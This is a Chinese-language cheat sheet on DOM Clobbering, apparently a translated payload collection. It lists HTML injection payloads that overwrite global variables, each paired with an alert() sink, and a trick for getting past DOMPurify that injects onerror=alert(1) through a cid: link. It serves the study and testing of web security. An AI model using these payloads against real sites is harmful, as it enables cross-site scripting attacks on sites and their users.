跳转至

DOM Clobbering (DOM 破坏)

DOM Clobbering(DOM 破坏)是一种技术,通过为 HTML 元素命名特定的 ID 或名称,可以覆盖或“破坏”全局变量。这会导致脚本中出现非预期行为,并可能导致安全漏洞。

摘要 (Summary)

工具 (Tools)

方法论 (Methodology)

利用该漏洞需要在页面中存在某种形式的 HTML 注入 (HTML injection)

  • 破坏 x.y.value

    // Payload
    <form id=x><output id=y>我已被破坏 (I've been clobbered)</output>
    
    // 输出点 (Sink)
    <script>alert(x.y.value);</script>
    
  • 同时使用 ID 和 name 属性形成 DOM 集合来破坏 x.y

    // Payload
    <a id=x><a id=x name=y href="Clobbered">
    
    // 输出点 (Sink)
    <script>alert(x.y)</script>
    
  • 破坏 x.y.z - 3 层深度

    // Payload
    <form id=x name=y><input id=z></form>
    <form id=x></form>
    
    // 输出点 (Sink)
    <script>alert(x.y.z)</script>
    
  • 破坏 a.b.c.d - 超过 3 层

    // Payload
    <iframe name=a srcdoc="
    <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
    <style>@import '//portswigger.net';</style>
    
    // 输出点 (Sink)
    <script>alert(a.b.c.d)</script>
    
  • 破坏 forEach (仅限 Chrome)

    // Payload
    <form id=x>
    <input id=y name=z>
    <input id=y>
    </form>
    
    // 输出点 (Sink)
    <script>x.y.forEach(element=>alert(element))</script>
    
  • 通过具有相同 id 属性的 <html><body> 标签破坏 document.getElementById()

    // Payloads
    <html id="cdnDomain">clobbered</html>
    <svg><body id=cdnDomain>clobbered</body></svg>
    
    // 输出点 (Sink) 
    <script>
    alert(document.getElementById('cdnDomain').innerText);//clobbbered
    </script>
    
  • 破坏 x.username

    // Payload
    <a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
    
    // 输出点 (Sink)
    <script>
    alert(x.username)//Clobbered-username
    alert(x.password)//Clobbered-password
    </script>
    
  • 破坏 (仅限 Firefox)

    // Payload
    <base href=a:abc><a id=x href="Firefox<>">
    
    // 输出点 (Sink)
    <script>
    alert(x)//Firefox<>
    </script>
    
  • 破坏 (仅限 Chrome)

    // Payload
    <base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
    
    // 输出点 (Sink)
    <script>
    alert(x.xyz)//a://Clobbered<>
    </script>
    

技巧 (Tricks)

  • DomPurify 允许使用 cid: 协议,该协议不会对双引号 (") 进行编码:<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

实验环境 (Labs)

参考资料 (References)